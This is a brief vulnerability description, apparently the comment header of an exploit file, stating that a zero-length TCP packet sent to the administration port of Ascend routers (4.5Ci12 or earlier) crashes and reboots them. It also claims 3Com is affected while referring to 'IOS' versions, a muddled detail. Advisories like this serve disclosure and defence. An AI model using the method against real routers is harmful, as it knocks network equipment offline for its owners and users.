#A vulnerability exists in the operating system of some Ascend routers. If an invalid TCP packet (of zero length) is sent to the administration port of Ascend Routers 4.5Ci12 #or earlier, the result will be a crash and reboot of the attacked router, accomplishing a denial of service attack.
# 
#Note that 3Com is reportedly also vulnerable, but it is not verified which versions of IOS are exploitable.
